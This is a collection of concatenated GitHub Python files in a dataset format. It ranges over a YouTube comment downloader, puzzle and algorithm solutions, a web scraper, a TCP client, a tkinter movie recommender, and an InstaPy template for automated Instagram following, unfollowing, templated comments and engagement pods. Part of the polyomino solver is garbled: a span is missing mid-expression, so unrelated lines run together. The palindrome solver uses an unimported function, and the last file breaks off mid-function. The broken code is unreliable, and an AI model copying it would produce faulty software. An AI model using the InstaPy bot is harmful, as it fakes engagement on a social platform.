\"replycount\": 0,\n \"isreply\": True,\n \"parentId\": parentId,\n }\n\n response_comments.append(reply_item)\n\n # Again repeat\n if \"nextPageToken\" in video_response:\n video_response = (\n youtube.commentThreads()\n .list(\n part=\"snippet,replies\",\n videoId=video_id,\n pageToken=video_response[\"nextPageToken\"],\n textFormat=\"plainText\",\n )\n .execute()\n )\n else:\n break\n\n return response_comments\n\n\ntry:\n logging.info(f\"Start running....\")\n with open(\"input.csv\", newline=\"\") as csvfile:\n spamreader = csv.reader(csvfile, delimiter=\",\")\n for row in spamreader:\n try:\n if \"sno\" in row[0].lower():\n continue\n\n video_id = row[1]\n sno = row[0]\n \n logging.info(f\"File {sno} - {video_id} start...\")\n response_comments = video_comments(video_id)\n logging.info(f\"File {sno} - {video_id} end...\")\n\n logging.info(f\"Save {sno} - {video_id} start...\")\n \n data_file = json.dumps(response_comments, ensure_ascii=False)\n\n with open(f\"json/{sno}_{video_id}.json\", \"w\") as file:\n file.write(data_file)\n\n keys = response_comments[0].keys()\n with open(f\"csv/{sno}_{video_id}.csv\", \"w\", newline=\"\") as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(response_comments)\n \n logging.info(f\"Save {sno} - {video_id} end...\")\n except Exception as ex:\n logging.error(f\"Error: {ex}\")\n \n logging.info(f\"Completed running.\")\n \nexcept Exception as e:\n logging.error(f\"Error: {e}\")\n","repo_name":"jeevanreddyg/youtube-comments-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33627427200","text":"#!/usr/bin/env python\n\nimport boto3\nimport json\n\nfrom datetime import tzinfo, datetime, timedelta\n\nZERO = timedelta(0)\n\nclass UTC(tzinfo):\n def utcoffset(self, dt):\n return ZERO\n def tzname(self, dt):\n return \"UTC\"\n def dst(self, dt):\n return ZERO\n\n\ndef get_lastrun_timestamp(overseer_file):\n client = boto3.client('s3')\n try:\n obj = client.get_object(Bucket='overseer-monitoring-bucket', Key=overseer_file)\n check_json = json.loads(obj['Body'].read())\n check_time = datetime.strptime(check_json['last_updated'], \"%d-%b-%Y %H:%M:%S\")\n except Exception:\n check_time = \"first run\"\n\n return check_time\n\n\ndef check_timestamp(check_time, frequency, aware):\n \"\"\"\n checks timestamp and tells lambda whether it should run or not\n \"\"\"\n if check_time == \"first run\":\n return True\n utc = UTC()\n if aware:\n delta = datetime.now(utc) - check_time\n else:\n delta = datetime.now() - check_time\n if frequency[1] == \"day\":\n if int(frequency[0]) > int(delta.days):\n return False\n else:\n return True\n else:\n return True\n\n\ndef get_future_date_time_difference(date, period, aware):\n utc = UTC()\n if aware:\n delta = date - datetime.now(utc)\n else:\n delta = date - datetime.now()\n result = 0\n if period == \"hours\":\n result = (delta.days * 24) + delta.seconds/3600\n return int(result)\n","repo_name":"telboy007/overseer-monitoring","sub_path":"minions/python/datetime_utilities.py","file_name":"datetime_utilities.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32730968559","text":"#!/usr/bin/env python3.6\n# -*- coding: UTF-8 -*-\n\nfrom time import time\nfrom polimino_packing import Error, Polimino, Table, debug_message\n\ntry:\n from local_config import ini_task_list, DEBUG, SHOW\nexcept:\n print('Warning: import ini_task_list failed, default one used')\n DEBUG = False\n SHOW = True\n ini_task_list = [\n [4, 5], # размеры стола[w, h] \n \n [ # прямоугольные полимино[((w, h), N)...]\n ((2, 2), 1)\n ], \n \n [ # L-полимино [((w, h), N)...]\n ((2, 3), 1), \n ((2, 2), 1), \n ((3, 2), 1), \n ((3, 3), 1)\n ] \n ]\n\ndef search_free_cell(i_begin=0, j_begin=0):\n # переход на следующую строку\n if j_begin >= len(table_instance.table[0]):\n j_begin = 0\n i_begin += 1\n # поиск свободной ячейки\n for i in range(i_begin, len(table_instance.table)):\n j_begin = j_begin*(i==i_begin)\n for j in range(j_begin, len(table_instance.table[0])):\n if table_instance.table[i][j]==0:\n i_place = i\n j_place = j\n return i_place, j_place\n return -1, -1\n\ndef undo_placement():\n global i_place, j_place \n i_place, j_place = table_instance.undo_placement()\n\ndef find_next_polim(ind = 0):\n for k in range(ind,len(POLIMINOS)):\n if POLIMINOS[k].num:\n return POLIMINOS[k],k\n return None, 0\n \ndef wait():\n print('Enter any key to continue')\n input()\n\nt_start = time()\n\ntry:\n # создаем экземпляр стола\n table_instance = Table(width=ini_task_list[0][0], height=ini_task_list[0][1])\n table_instance.print_table() \n\n # заполняем список POLIMINOS\n POLIMINOS = [Polimino(l[0][0], l[0][1], l[1], 'R') for l in ini_task_list[1]]\n # число прямоугольных полимино\n # L-poliminos\n POLIMINOS += [Polimino(l[0][0], l[0][1], l[1], 'L') for l in ini_task_list[2]]\n \n # общее количество полимино, размещаемых на столе\n unpacked_polims = 0 \n for poli in POLIMINOS:\n unpacked_polims += poli.num\n print('Poliminos total:'+str(unpacked_polims))\n\n # проверка:\n area = 0 # площадь полимино\n for poli in POLIMINOS:\n # размеры полимино >= размеров стола\n if(poli.width>table_instance.width or poli.height>table_instance.height):\n raise Error('One of poliminos is larger than the table!')\n\n # общая площадь полимино >= площади стола\n if poli.kind == 'L':\n area += (poli.width + poli.height - 1)*poli.num\n else:\n area += (poli.width*poli.height)*poli.num\n print('Poliminos total area: '+str(area))\n print('Table area '+str(table_instance.area))\n if area > table_instance.area:\n raise Error('Total polimino area is larger than the table area!')\n\n # сортируем полимино по наибольшему размеру: по убыванию \n # сначала прямоугольные, затем L\n # bubble sort\n swapped = True\n while(swapped):\n swapped = False\n for k in range(len(POLIMINOS)-1):\n if max(POLIMINOS[k].width, POLIMINOS[k].height) new_factor: # стало лучше?\n factor = new_factor # запоминаем фактор\n best_poli = [i_place, j_place, polimino, rotation] # и полимино с параметрами размещения\n # отменяем размещение для последующего перебора\n table_instance.undo_placement()\n\n # ищем следующую свободную ячейку\n i_place, j_place = search_free_cell(i_place, j_place+1)\n\n # вспоминаем, откуда начинали\n i_place = i_mem\n j_place = j_mem\n\n # переходим к следующему полимино\n polimino, ind = find_next_polim(ind+1)\n if not polimino: # если все полимино проверены\n # если удалось разместить хотя бы один\n if best_poli: \n # размещаем полимино окончательно\n table_instance.place_polimino(best_poli[0], best_poli[1], best_poli[2], best_poli[3],True)\n unpacked_polims -= 1\n # ищем следующую свободную клетку\n i_place, j_place = search_free_cell(i_place, j_place)\n\n if SHOW: # показать пошаговое выполнение\n debug_message('factor '+str(new_factor))\n print('poli choosed:')\n best_poli[2].print_image()\n print('polis left: '+str(unpacked_polims))\n # выводим сетку стола\n table_instance.print_table()\n print()\n wait()\n\n # обнуляем переменные для нового цикла\n best_poli = []\n factor = factor_big_value\n ind = 0\n polimino,ind = find_next_polim()\n # в противном случае ищем следующую свободную клетку\n else:\n i_place, j_place = search_free_cell(i_place, j_place+1)\n if i_place < 0:\n # тупик\n # отменяем последнее размещение и переходим на новую ветку \n table_instance.undo_placement()\n unpacked_polims += 1\n i_place, j_place = search_free_cell()\n best_poli = []\n polimino,ind = find_next_polim()\n \n # периодически выводим количество использованных комбинаций \n if comb_num_hundr < table_instance.combinations_tryed//100:\n comb_num_hundr += 1\n debug_message('Combinations tryed: '+str(comb_num_hundr*100))\n \n # конец алгоритма: успех\n print()\n table_instance.print_table()\n print('Combinations tryed:'+str(table_instance.combinations_tryed))\n print()\n print('True')\nexcept Error as e:\n print(e.message)\n if e.signal:\n # конец алгоритма: решения нет\n print('Solution tree size: ' + str(len(table_instance.solution_tree)))\n print('False')\n if(DEBUG):\n table_instance.show_tree()\n\nprint('time:', time() - t_start)","repo_name":"JustMegaAlex/Polimino-packing","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":9877,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33826874563","text":"from bisect import bisect_right\n\nproducts = set()\npalindromes = set()\n\ndef allproducts():\n for i in range(100, 1000):\n for j in range(100, 1000):\n products.add(i*j)\n\ndef allpalindromes():\n for a in range(1, 10):\n for b in range(0, 10):\n for c in range(0, 10):\n num = str(a) + str(b) + str(c) + str(c) + str(b) + str(a)\n palindromes.add(int(num))\n\nallproducts()\nallpalindromes()\n\nboth = list(products.intersection(palindromes))\nboth.sort()\n\ndef find_lt(a, x):\n 'Find rightmost value less than x'\n i = bisect_left(a, x)\n if i:\n return a[i-1]\n raise ValueError\n\n\nT = int(input())\n\nfor t in range(T):\n N = int(input())\n if (N > 906609):\n print(906609)\n else:\n print(find_lt(both, N))\n\n","repo_name":"Mathemmagician/Project_Euler","sub_path":"004_palindrome_product/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73752560428","text":"\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport datetime\r\nimport csv\r\n\r\n\r\n\r\ntime = datetime.datetime.now()\r\nts = str(time.year)+\"-\"+str(time.month)+\"-\"+str(time.day)\r\ncsv_file = open('mtt_reviews_'+ts+'.csv','w', newline='',encoding=\"utf-8\")\r\ncsv_writer = csv.writer(csv_file)\r\ncsv_writer.writerow(['Customer','Date','Review'])\r\n\r\nlst=[]\r\nfor i in range(1,24):\r\n\tlst.append('https://www.consumeraffairs.com/travel/makemytrip.html?page='+str(i))\r\nfor lis in lst:\r\n\tsource = requests.get(lis).text\r\n\tsoup = BeautifulSoup(source,'lxml')\r\n\t''\r\n\tfor mdiv in soup.find_all('div',class_=\"rvw js-rvw\"):\r\n\t\tAuthor = mdiv.find('strong',class_=\"rvw-aut__inf-nm\").text\r\n\t\tdate = mdiv.find('span',class_=\"ca-txt-cpt ca-txt--clr-gray\").text.split(\":\")[1]\r\n\t\tReview = mdiv.find('div',class_=\"rvw-bd ca-txt-bd-2\")\r\n\t\trev=Review.find_all('p')[1].text\r\n\r\n\t\tprint(Author,date,rev)\r\n\t\tcsv_writer.writerow([Author,date,rev])\r\n\t\tprint()\r\n\r\ncsv_file.close()\r\n","repo_name":"HrithikBT/ScraPy_MMT_Rev","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9475835169","text":"import random\n\n# Name of the file to read in\nFILE_NAME = 'cswords.txt'\n\ndef main():\n # Milestone #1: First, load all of the words from the file cswords.txt into a list.\n vocab = []\n with open(FILE_NAME) as file:\n for line in file: # for-each loop gives lines one at a time\n vocab.append(line.strip())\n #print(line.strip()) # strip removes whitespace at the start or end\n # for i in range(len(vocab)): \n # print(vocab[i])\n \n # Milestone #2: Then, show a randomly chosen word from the list\n # Milestone #3: Repeat: wait for the user to hit enter, then show another word.\n\n while True:\n chosen_value = random.choice(vocab) # comes with ‘import random’\n print(chosen_value)\n user = input('Please press enter')\n \n # max_index = len(vocab)- 1\n # index = random.randint(0, max_index)\n # user = input(vocab[index])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ONJoseph/Python_exercises","sub_path":"heads_up.py","file_name":"heads_up.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20196937932","text":"from collections import deque\nfrom typing import List\n\n\nclass Solution:\n def shortestSubarray(self, A: List[int], K: int) -> int:\n ans = len(A) + 1\n sums = [0] * (len(A) + 1)\n for i in range(1, len(A) + 1):\n sums[i] = sums[i - 1] + A[i - 1]\n dq = deque()\n for i, v in enumerate(sums):\n while dq and dq[-1][1] >= v:\n dq.pop()\n while dq and v - dq[0][1] >= K:\n ans = min(i - dq[0][0], ans)\n dq.popleft()\n dq.append((i, v))\n return ans if ans <= len(A) else -1\n","repo_name":"miruts-xz/competitive-programming","sub_path":"weeks/week-2/day-7/shortest_subarray.py","file_name":"shortest_subarray.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"429715031","text":"from datetime import date\n\nfrom odoo import api, fields, models, _\n\n\nclass CrmTeam(models.Model):\n _inherit = \"crm.team\"\n\n forecast_period = fields.Selection([\n ('monthly', _('Monthly')),\n ('annual', _('Annual')),\n ],\n string='Forecast period',\n default='monthly')\n annual_invoiced = fields.Integer(\n compute=\"_compute_annual_invoiced\",\n readonly=True,\n string='Invoiced this year',\n help=\"Invoice revenue for the current year. This is the amount \"\n \"the sales team has invoiced this month. \"\n \"It is used to compute the progression ratio \"\n \"of the current and target revenue on the kanban view.\")\n\n @api.multi\n def _compute_annual_invoiced(self):\n date_begin = date.today().replace(day=1, month=1)\n date_end = date(date.today().year, 12, 31)\n\n for team in self:\n invoices = self.env['account.invoice'].search([\n ('state', 'in', ['open', 'paid']),\n ('team_id', '=', team.id),\n ('date', '<=', date_end),\n ('date', '>=', date_begin),\n ('type', 'in', ['out_invoice', 'out_refund']),\n ])\n\n team.annual_invoiced = sum(\n invoices.mapped('amount_untaxed_signed'))\n","repo_name":"QubiQ/qu-crm","sub_path":"annual_invoiced_forecast/models/crm_team.py","file_name":"crm_team.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30537504969","text":"from socket import *\nimport time\n\n\nclass TCPClient:\n\n def __init__(self, pAddr, pPort, pBuffersize):\n self.addr = (pAddr, pPort)\n self.buffersize = pBuffersize\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.isConnected = False\n\n def setTimeout(self, pTimeout):\n self.sock.settimeout(pTimeout)\n\n def connect(self):\n try:\n self.sock.connect(self.addr)\n self.isConnected = True\n except timeout:\n print(\"Client: Timed out\")\n\n def sendData(self, pData):\n data = bytes(pData)\n if self.isConnected and len(data) <= self.buffersize:\n try:\n self.sock.send(data)\n except ConnectionResetError:\n self.disconnect()\n\n def receiveData(self):\n if self.isConnected:\n try:\n return self.sock.recv(self.buffersize)\n except ConnectionResetError:\n self.disconnect()\n\n def disconnect(self):\n if self.isConnected:\n self.sock.shutdown(SHUT_RDWR)\n self.sock.close()\n self.isConnected = False\n","repo_name":"Camaendir/JB-LED","sub_path":"Connection/TCPClient.py","file_name":"TCPClient.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"36565832629","text":"from itertools import combinations\r\n\r\ndef subset_sum(numbers, target, masterlist, partial=[]):\r\n s = sum(partial)\r\n\r\n # check if the partial sum is equals to target\r\n if s == target:\r\n# print(\"sum(%s)=%s\" % (partial, target))\r\n masterlist.append(partial)\r\n if s >= target:\r\n return # if we reach the number why bother to continue\r\n\r\n for i in range(len(numbers)):\r\n n = numbers[i]\r\n remaining = numbers[i + 1:]\r\n subset_sum(remaining, target, masterlist, partial + [n])\r\n\r\ndef subsetsum_exists(numbers, target, partial=[]):\r\n s = sum(partial)\r\n\r\n # check if the partial sum is equals to target\r\n if s == target:\r\n return True\r\n if s >= target:\r\n return False # if we reach the number why bother to continue\r\n\r\n for i in range(len(numbers)):\r\n n = numbers[i]\r\n remaining = numbers[i + 1:]\r\n rval = subsetsum_exists(remaining, target, partial + [n])\r\n if rval:\r\n return True\r\n\r\ndef subsetsum_minsize(numbers, target):\r\n grouplist = []\r\n\r\n for n in range(1,len(numbers)):\r\n combs = combinations(numbers, n)\r\n for c in combs:\r\n if sum(c) == target:\r\n grouplist.append(c)\r\n\r\n if len(grouplist) > 0:\r\n return grouplist\r\n\r\n return []\r\n\r\n\r\ndef qe(group):\r\n p = 1\r\n\r\n for g in group:\r\n p = p * g\r\n\r\n return p\r\n\r\nwith open('puzzleinput.txt', 'r') as f:\r\n text_input = f.readlines()\r\n\r\npressiepile = set()\r\n\r\nfor line in text_input:\r\n line = line.strip()\r\n pressiepile.add(int(line))\r\n\r\n\r\ngrouplist = []\r\ngroupWeight = sum(pressiepile)//4\r\n\r\n# subset_sum(list(pressiepile), groupWeight, grouplist)\r\n#minlen = len(grouplist[0])\r\n\r\n#for f in grouplist:\r\n# minlen = min(minlen, len(f))\r\n\r\n#groupAList = []\r\n\r\n#for f in grouplist:\r\n# if len(f) == minlen:\r\n# groupAList.append(f)\r\n\r\ngroupAList = subsetsum_minsize(list(pressiepile), groupWeight)\r\n\r\n\r\nminQE = qe(pressiepile)\r\n\r\nqelist = []\r\n\r\nfor groupA in groupAList:\r\n qelist.append((qe(groupA), groupA))\r\n\r\nqelist.sort()\r\n\r\nfor q in qelist:\r\n groupA = q[1]\r\n\r\n tmp = pressiepile.copy()\r\n tmp.difference_update(groupA)\r\n\r\n if subsetsum_exists(list(tmp),groupWeight):\r\n print('Part 2: ', q[0])\r\n break\r\n\r\n\r\n# tmp = pressiepile.copy()\r\n# tmp.difference_update(groupA)\r\n# tmplist = []\r\n# subset_sum(list(tmp), groupWeight, tmplist)\r\n# if len(tmplist) > 0:\r\n# minQE = min(minQE, qe(groupA))\r\n\r\n\r\n","repo_name":"pixelthecat/AdventOfCode","sub_path":"AoC2015/Day24/Day24.py","file_name":"Day24.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19495977631","text":"import pandas as pd\nimport numpy as np\nimport requests\nfrom bs4 import BeautifulSoup\nimport tkinter as tk\nfrom tkinter import ttk\nimport pandas as pd\nimport random\n\n\ngenres = [\n \"Action\",\n \"Adventure\",\n \"Animation\",\n \"Biography\",\n \"Comedy\",\n \"Crime\",\n \"Drama\",\n \"Family\",\n \"Fantasy\",\n \"Film-Noir\",\n \"History\",\n \"Horror\",\n \"Music\",\n \"Musical\",\n \"Mystery\",\n \"Romance\",\n \"Sci-Fi\",\n \"Sport\",\n \"Thriller\",\n \"War\",\n \"Western\"\n]\n\npages = np.arange(1, 100, 50)\nfinal_df = pd.DataFrame()\n\nfor page in pages:\n for genre_ in genres:\n imdb_url = f\"https://www.imdb.com/search/title/?title_type=feature&num_votes=25000,&genres={genre_}&sort=user_rating,desc&start={page}&ref_=adv_nxt\"\n headers = {\"Accept-Language\": \"en-US, en;q=0.5\"}\n results = requests.get(imdb_url, headers=headers)\n movie_soup = BeautifulSoup(results.text, \"html.parser\")\n\n movie_data = []\n movie_divs = movie_soup.find_all(\"div\", class_=\"lister-item mode-advanced\")\n for container in movie_divs:\n genre_info = container.find('span', class_='genre').text.strip()\n genres = [genre.strip() for genre in genre_info.split(',')]\n genre = ', '.join(genres)\n\n name = container.h3.a.text\n year = container.h3.find('span', class_='lister-item-year').text\n runtime = container.p.find('span', class_='runtime').text if container.p.find('span', class_='runtime') else '-'\n imdb = float(container.strong.text)\n m_score = container.find('span', class_='metascore').text if container.find('span', class_='metascore') else '-'\n nv = container.find_all('span', attrs={'name': 'nv'})\n vote = nv[0].text\n grosses = nv[1].text if len(nv) > 1 else '-'\n\n movie_data.append({\n 'genre_info': genre_,\n 'multi_genre': genre,\n 'movie_name': name,\n 'movie_year': year,\n 'movie_runtime': runtime,\n 'imdb_ratings': imdb,\n 'metascore': m_score,\n 'number_votes': vote,\n 'us_gross_millions': grosses\n })\n\n genre_df = pd.DataFrame(movie_data)\n final_df = final_df.append(genre_df, ignore_index=True)\n\nfinal_df['movie_year'] = final_df['movie_year'].str.extract('(\\d+)').fillna(0).astype(int)\nfinal_df['movie_runtime'] = final_df['movie_runtime'].str.extract('(\\d+)').fillna(0).astype(int)\nfinal_df['metascore'] = final_df['metascore'].replace('-', 0).astype(int)\nfinal_df['number_votes'] = final_df['number_votes'].str.replace(',', '').fillna('0').astype(int)\nfinal_df['us_gross_millions'] = final_df['us_gross_millions'].map(lambda x: str(x).lstrip('$').rstrip('M'))\nfinal_df['us_gross_millions'] = pd.to_numeric(final_df['us_gross_millions'], errors='coerce')\n\n# Function to recommend 5 random movies based on popularity\ndef recommend_movies(genres):\n if len(genres) == 1:\n genre_movies = final_df[final_df['genre_info'] == genres[0]]\n else:\n genre_movies = final_df[final_df['multi_genre'].apply(lambda x: sum(genre in x for genre in genres) >= 2)]\n\n shuffled_movies = genre_movies.sample(frac=1)\n recommended_movies = shuffled_movies[['movie_name', 'imdb_ratings', 'movie_year', 'us_gross_millions', 'movie_runtime']].head(5)\n return recommended_movies\n\n# Function to display additional information when a movie title is clicked\ndef show_additional_info(movie_name):\n movie_info = final_df[final_df['movie_name'] == movie_name]\n info_window = tk.Toplevel(window)\n info_window.title(movie_name)\n info_window.geometry(\"300x150\")\n\n movie_year = movie_info['movie_year'].values[0]\n us_gross = movie_info['us_gross_millions'].values[0]\n runtime = movie_info['movie_runtime'].values[0]\n imdb_rating = movie_info['imdb_ratings'].values[0]\n\n movie_info_label = ttk.Label(info_window, text=f\"Year: {movie_year} | Gross: {us_gross} | Runtime: {runtime} mins | IMDb Rating: {imdb_rating:.1f}\")\n movie_info_label.pack(pady=20)\n\n# Create the GUI window\ndef recommend_movies_gui():\n def get_recommendations():\n selected_genres = []\n for genre, var in genre_variables.items():\n if var.get() == 1:\n selected_genres.append(genre)\n\n if len(selected_genres) > 3:\n tk.messagebox.showwarning(\"Genre Selection\", \"Please select a maximum of three genres.\")\n return\n\n recommended_movies = recommend_movies(selected_genres)\n recommendations_text.config(state=tk.NORMAL)\n recommendations_text.delete('1.0', tk.END)\n for movie in recommended_movies.values:\n movie_name, imdb_rating, movie_year, us_gross, movie_runtime = movie\n recommendations_text.insert(tk.END, movie_name, \"clickable\")\n recommendations_text.insert(tk.END, f\" | IMDb Rating: {imdb_rating:.1f}\\n\")\n recommendations_text.config(state=tk.DISABLED)\n\n window = tk.Tk()\n window.title(\"Movie Recommendation Chatbot\")\n\n # Create a stylish frame for the genre buttons\n genre_frame = ttk.Frame(window)\n genre_frame.pack(pady=10)\n\n genres = [\n \"Action\", \"Adventure\", \"Animation\", \"Biography\", \"Comedy\", \"Crime\", \"Drama\", \"Family\",\n \"Fantasy\", \"Film-Noir\", \"History\", \"Horror\", \"Music\", \"Musical\", \"Mystery\", \"Romance\",\n \"Sci-Fi\", \"Sport\", \"Thriller\", \"War\", \"Western\"\n ]\n\n genre_variables = {}\n for genre in genres:\n genre_variables[genre] = tk.IntVar()\n genre_checkbutton = ttk.Checkbutton(genre_frame, text=genre, variable=genre_variables[genre])\n genre_checkbutton.pack(side=tk.LEFT, padx=10)\n\n # Create a stylish frame for the movie recommendations\n recommendations_frame = ttk.Frame(window)\n recommendations_frame.pack(pady=20)\n\n recommendations_label = ttk.Label(recommendations_frame, text=\"Movie Recommendations (Select Min.1 and Max.3 genres):\")\n recommendations_label.pack()\n\n # Create a scrollable text box for displaying movie recommendations\n recommendations_scrollbar = ttk.Scrollbar(recommendations_frame)\n recommendations_scrollbar.pack(side=tk.RIGHT, fill=tk.Y)\n\n recommendations_text = tk.Text(recommendations_frame, height=15, width=40, wrap=tk.WORD, yscrollcommand=recommendations_scrollbar.set)\n recommendations_text.pack()\n\n recommendations_scrollbar.config(command=recommendations_text.yview)\n\n # Function to handle movie title click event\n def click_event(event):\n index = recommendations_text.index(\"@%s,%s\" % (event.x, event.y))\n start, end = index.split(\".\")\n movie_name = recommendations_text.get(start, end)\n show_additional_info(movie_name)\n\n recommendations_text.tag_configure(\"clickable\", foreground=\"blue\", underline=True)\n recommendations_text.tag_bind(\"clickable\", \"\", click_event)\n\n recommend_button = ttk.Button(window, text=\"Recommend\", command=get_recommendations)\n recommend_button.pack(pady=10)\n\n window.mainloop()","repo_name":"ashcod/movie_recommendation_chatbot","sub_path":"movie_chatbot/movie_chatbot.py","file_name":"movie_chatbot.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20024721281","text":"\"\"\"\nThis template is written by @Nuzzo235\n\nWhat does this quickstart script aim to do?\n- This script is targeting followers of similar accounts and influencers.\n- This is my starting point for a conservative approach: Interact with the\naudience of influencers in your niche with the help of 'Target-Lists' and\n'randomization'.\n\nNOTES:\n- For the ease of use most of the relevant data is retrieved in the upper part.\n\"\"\"\n\nimport random\nfrom instapy import InstaPy\nfrom instapy import smart_run\n\n# login credentials\ninsta_username = 'username'\ninsta_password = 'password'\n\n# restriction data\ndont_likes = ['#exactmatch', '[startswith', ']endswith', 'broadmatch']\nignore_users = ['user1', 'user2', 'user3']\n\n\"\"\" Prevent commenting on and unfollowing your good friends (the images will \nstill be liked)...\n\"\"\"\nfriends = ['friend1', 'friend2', 'friend3']\n\n\"\"\" Prevent posts that contain...\n\"\"\"\nignore_list = []\n\n# TARGET data\n\"\"\" Set similar accounts and influencers from your niche to target...\n\"\"\"\ntargets = ['user1', 'user2', 'user3']\n\n\"\"\" Skip all business accounts, except from list given...\n\"\"\"\ntarget_business_categories = ['category1', 'category2', 'category3']\n\n# COMMENT data\ncomments = ['Nice shot! @{}',\n 'I love your profile! @{}',\n 'Your feed is an inspiration :thumbsup:',\n 'Just incredible :open_mouth:',\n 'What camera did you use @{}?',\n 'Love your posts @{}',\n 'Looks awesome @{}',\n 'Getting inspired by you @{}',\n ':raised_hands: Yes!',\n 'I can feel your passion @{} :muscle:']\n\n# get a session!\nsession = InstaPy(username=insta_username,\n password=insta_password,\n headless_browser=True,\n disable_image_load=True,\n multi_logs=True)\n\n# let's go! :>\nwith smart_run(session):\n # HEY HO LETS GO\n # general settings\n session.set_dont_include(friends)\n session.set_dont_like(dont_likes)\n session.set_ignore_if_contains(ignore_list)\n session.set_ignore_users(ignore_users)\n session.set_simulation(enabled=True)\n session.set_relationship_bounds(enabled=True,\n potency_ratio=None,\n delimit_by_numbers=True,\n max_followers=7500,\n max_following=3000,\n min_followers=25,\n min_following=25,\n min_posts=10)\n\n session.set_skip_users(skip_private=True,\n skip_no_profile_pic=True,\n skip_business=True,\n dont_skip_business_categories=[\n target_business_categories])\n\n session.set_user_interact(amount=3, randomize=True, percentage=80,\n media='Photo')\n session.set_do_like(enabled=True, percentage=90)\n session.set_do_comment(enabled=True, percentage=15)\n session.set_comments(comments, media='Photo')\n session.set_do_follow(enabled=True, percentage=40, times=1)\n\n # activities\n\n # FOLLOW+INTERACTION on TARGETED accounts\n \"\"\" Select users form a list of a predefined targets...\n \"\"\"\n number = random.randint(3, 5)\n random_targets = targets\n\n if len(targets) <= number:\n random_targets = targets\n\n else:\n random_targets = random.sample(targets, number)\n\n \"\"\" Interact with the chosen targets...\n \"\"\"\n session.follow_user_followers(random_targets,\n amount=random.randint(30, 60),\n randomize=True, sleep_delay=600,\n interact=True)\n\n # UNFOLLOW activity\n \"\"\" Unfollow nonfollowers after one day...\n \"\"\"\n session.unfollow_users(amount=random.randint(75, 100),\n nonFollowers=True,\n style=\"FIFO\",\n unfollow_after=24 * 60 * 60, sleep_delay=600)\n\n \"\"\" Unfollow all users followed by InstaPy after one week to keep the \n following-level clean...\n \"\"\"\n session.unfollow_users(amount=random.randint(75, 100),\n allFollowing=True,\n style=\"FIFO\",\n unfollow_after=168 * 60 * 60, sleep_delay=600)\n\n \"\"\" Joining Engagement Pods...\n \"\"\"\n session.join_pods()\n\n\"\"\"\nHave fun while optimizing for your purposes, Nuzzo\n\"\"\"\n","repo_name":"InstaPy/instapy-quickstart","sub_path":"quickstart_templates/target_followers_of_similar_accounts_and_influencers.py","file_name":"target_followers_of_similar_accounts_and_influencers.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":740,"dataset":"github-code","pt":"37"} +{"seq_id":"24106704889","text":"import sys\nimport subprocess\nimport os\nimport inspect\n\ndef start_manager(script_loc):\n \n # Get job manager script loc\n job_manager_loc = os.path.abspath(inspect.getfile(main))\n job_manager_loc =\\\n job_manager_loc.replace('xbatch.py', 'job_manager.py')\n\n pid =\\\n subprocess.Popen(['python',\n os.path.realpath(job_manager_loc),\n script_loc], close_fds=True).pid\n\n return pid\n\ndef main():\n \n # Extract script name\n script_name = list(sys.argv)[1]\n script_loc = os.path.abspath(script_name)\n \n # Start manager\n manager_pid = start_manager(script_loc)\n print('Started xbatch job manager with pid:', manager_pid)\n\nif __name__ == \"__main__\":\n main()","repo_name":"sahahn/xbatch","sub_path":"xbatch.py","file_name":"xbatch.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42814473972","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n양의 정수 x에 대한 함수 f(x)를 다음과 같이 정의합니다.\n\nx보다 크고 x와 비트가 1~2개 다른 수들 중에서 제일 작은 수\n예를 들어,\n\nf(2) = 3 입니다.\n다음 표와 같이 2보다 큰 수들 중에서 비트가 다른 지점이 2개 이하이면서 제일 작은 수가 3이기 때문입니다.\n\n수\t비트\t다른 비트의 개수\n2\t000...0010\n3\t000...0011\t1\n\nf(7) = 11 입니다.\n다음 표와 같이 7보다 큰 수들 중에서 비트가 다른 지점이 2개 이하이면서 제일 작은 수가 11이기 때문입니다.\n\n수\t비트\t다른 비트의 개수\n7\t000...0111\n8\t000...1000\t4\n9\t000...1001\t3\n10\t000...1010\t3\n11\t000...1011\t2\n\n정수들이 담긴 배열 numbers가 매개변수로 주어집니다.\nnumbers의 모든 수들에 대하여 각 수의 f 값을 배열에 차례대로 담아 return 하도록 solution 함수를 완성해주세요.\n\nExample:\n def solution():\n result = do_something()\n return result\n\n if __name__ == '__main__':\n\n solution()\n\n\"\"\"\n\n\ndef solution(numbers: list):\n answer = []\n for i in numbers:\n j = i\n 